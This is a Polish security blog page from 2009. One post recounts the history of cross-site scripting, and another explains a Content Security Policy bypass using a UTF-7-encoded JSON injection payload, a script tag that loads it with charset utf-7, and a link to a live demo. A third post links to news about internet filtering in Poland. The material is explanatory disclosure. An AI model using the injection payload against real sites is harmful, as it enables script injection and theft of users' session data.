Pokazywanie postów oznaczonych etykietą (in)security. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą (in)security. Pokaż wszystkie posty

16 gru 2009

#10 'te #urodziny #xss ! sto lat sto lat :)

16-ego stycznia, 2000, dla małej grupki inżynierów w Microsoft, zostaly zasugerowane nastepujace nazwy:

Unauthorized Site Scripting
Unofficial Site Scripting
URL Parameter Script Insertion
Cross Site Scripting
Synthesized Scripting
Fraudulent Scripting

Następnego dnia uzgodniono nazwę - Cross Site Scripting.

Na początku lutego, wypuszczono dokument (CERT):

http://www.cert.org/advisories/CA-2000-02.html

Według niektórych źródeł, za datę narodzin #XSS uznaje się środek grudnia 1999 (czyli 10 lat temu). Jednak zgodzę się tutaj z radekk, i też uznałbym raczej datę 'advisory release'.


Co się zmieniło przez ten czas? Bardzo wiele :).

Kiedyś #XSS uznawane były za nic nie znaczące, denerwujące błędy umożliwiające wyświetlenie okienka z napisem CZESC.

Wraz z pojawieniem sie 'web 2.0' sytuacja ta zmieniła się. Powstały potężne społeczności internetowe, zawierające setki tysięcy danych użytkowników. Idealne miejsce do zbierania informacji typu: login, hasło, mail, odrazu stało się głównym celem hackerów, phisherów (chyba wszyscy pamiętamy popularnego Samy (JS.Spacehero). Błędy typu SQL Injection nie były już problemem 'numer jeden' (chociaż nadal są równie niebezpieczne), bo po co dostawać się do wnętrza systemu, skoro można wykorzystać błąd po stronie zalogowanego użytkownika, pobierając jego dane identyfikacyjne (np. dane zawarte w cookie).

XSS rozwijało się w zastraszającym tempie, od prostych skryptów typu alert(document.cookie), aż po wyrafinowane skrypty które można łączyć z innego rodzaju błędami. Jako ciekawostki można polecić:

Cross Domain Search Timing

Sprawdz czy jestes zalogowany/a na google

Łącząc różne techniki ataków (CSRF, XCSS...), można stworzyć naprawdę niebezpieczne skrypty/ robaki, infekujące zarówno web serwisy, jak i komputery użytkowników.

Jak widać, nigdy nie należy nie doceniać nawet najprostszego rodzaju błędów.

3RTHF3QVVPJ2

23 lis 2009

CSP na kolana

Gareth Heyes opublikował właśnie na swoim blogu, informację dotyczącą sposobu ominięcia zabezpieczeń w #CSP http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/


Na czym polega błąd?

Każda strona z feedem JSON'a nad którym może mieć kontrolę atakujący, może zostać zarażona własnym ciągiem JSON'a, dzięki czemu można kontrolować pozostałe elementy feed'a.
Wyjaśnijmy to na przykładzie. W UTF-7 ABC pojawia się jako:


+ACcAQQBCAEMAJw-

jeżeli przykładowa odpowiedź w JSON wygląda tak:

[{'friend':'something',email:'something'} ]

mając kontrolę nad wartością: something, możemy umieścić własny kod:


+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-

(w UTF-8: '}];alert('May the force be with you');[{'job':'done )

Umieszczając w/w kod, powstaje nam:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

czyli:


[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):

"><script src="http://some.website/test.json" charset="utf-7"></script>

uruchamiamy kod pod CSP, omijając zabezpieczenia.


Przykładowe działające demo: http://www.businessinfo.co.uk/labs/cspluke/test.html

Więcej informacji na temat CSP: http://blog.mozilla.com/security/2009/09/30/a-glimpse-into-the-future-of-browser-security/
Testy CSP: http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi

Zapraszam do testów :)

18 lis 2009

Infiltracja w Polsce

No proszę, myślałem że już nic mnie w tym kraju nie zaskoczy, a tu takie numery...


http://osnews.pl/rzad-ujawnil-projekt-filtrowania-internetu-w-polsce/